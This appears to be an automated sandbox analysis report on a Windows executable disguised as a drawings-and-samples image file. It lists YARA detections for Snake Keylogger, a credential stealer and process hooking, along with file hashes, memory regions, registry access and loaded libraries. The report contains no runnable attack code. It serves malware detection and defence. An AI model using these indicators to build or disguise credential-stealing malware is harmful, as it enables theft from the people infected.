Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37580040	2_2_37580040
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37584278	2_2_37584278
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37584960	2_2_37584960
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37582DC1	2_2_37582DC1
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37581FF8	2_2_37581FF8
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_375826E1	2_2_375826E1
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37583B90	2_2_37583B90
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_37581C88	2_2_37581C88
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_375812B0	2_2_375812B0
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_375834AA	2_2_375834AA
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Code function: 2_2_375812A6	2_2_375812A6

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll 3B6A5CB2A3C091814FCE297C04FB677F72732FB21615102C62A195FDC2E7DFAC

Source: Drawing_Products_Materials_and_Samples_IMG.exe

Static PE information: invalid certificate

Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878173364.0000000036939000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878264779.000000003694D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035965000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035965000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17883981680.0000000004770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs Drawing_Products_Materials_and_Samples_IMG.exe
Source: Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs Drawing_Products_Materials_and_Samples_IMG.exe

Source: Drawing_Products_Materials_and_Samples_IMG.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344afd6e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: Drawing_Products_Materials_and_Samples_IMG.exe PID: 3392, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.346f0f20.2.raw.unpack, -i.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.36a20000.4.raw.unpack, -i.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.Drawing_Products_Materials_and_Samples_IMG.exe.344b0c8e.0.raw.unpack, -i.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/14@4/5

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Code function: 0_2_004042CA GetDlgItem,SetWindowTextA,LdrInitializeThunk,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,LdrInitializeThunk,SetDlgItemTextA,

0_2_004042CA

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Code function: 0_2_00402036 LdrInitializeThunk,CoCreateInstance,MultiByteToWideChar,LdrInitializeThunk,LdrInitializeThunk,

0_2_00402036

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

File created: C:\Users\user\Documents\Udrjestes36

Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

File created: C:\Users\user\AppData\Local\Temp\nso8152.tmp

Jump to behavior

Source: Drawing_Products_Materials_and_Samples_IMG.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Drawing_Products_Materials_and_Samples_IMG.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

File read: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process created: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Process created: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe "C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe	Section loaded: uxtheme.dll	Jump to behavior
